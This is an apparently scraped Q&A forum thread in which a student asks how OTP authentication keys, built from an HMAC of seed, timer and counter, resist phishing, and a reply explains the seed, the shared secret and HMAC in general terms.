  and other interactive IP communications. It is documented in RFC 5389

Skype uses UDP hole punching to get around firewalls.


What is a AUTH-KEY in the security of the computers? I'm studying security in computers and in particular the URL Spoofing. I understand that a form of URL spoofing is phishing. Then I read that a countermeasure against phishing is the authentication key.
But what is not well hocapito autenticcation key.

On the notes I read:

  The key contains a seed related to users, a timer, a secret symmetric key and a counter.
  There is a timer on the server instead, the same symmetric key is a list of seed -related utilities and also a counter for each user.

  When the user clicks the button on the key, it generates an HMAC(Seed||K||Timer||Counter) that is generated on the server in the same way: if there is a match, access is granted.

  Clearly, the timer will not be synchronized perfectly, and then the server will generate some codes HMAC with some timer values (depending on the gap between the user and the server timer) and will look for the matching among those.

  Each click of the user is recorded by the counter and thus the two are synchronized counter (between server and key). This causes an old code can no longer be used (the counter does not match).

  The key does not work if the opponent is particularly noticed and make a session hijacking that is the data you just entered on the phishing site is immediately re-shipped to the actual site of the bank.

  It's like a man in the middle, the opponent does an intermediary with its "fake" pages between the bank and the user. It is also for this reason that before carrying out of some significance is often request another password.

The auth-key is a key (consisting of seed, timers, counters and secret symmetric key), which possesses only the client?
What is meant by seed? And the counter is related to what?
What is a HMAC? How can it be match if the key is secret?

I understood very little. Someone would know explain it in a simple way? Or if there are websites where this subject is treated in a more comprehensive and easy?

I read the Wikipedia page, but I have not found much more.

A seed is a non-secret value used as a starting point.  I'm not sure what it's the starting point for, but presumably the algorithm needs a (relatively well-chosen) number to start from.

Based on the Wikipedia article, the key is not known only by the client; the server knows it too.  The HMAC is a method for disguising the shared secret in such a way that anyone who intercepts the communication doesn't learn the shared secret, and thereby gain permanent access to your account (similar to digest authentication).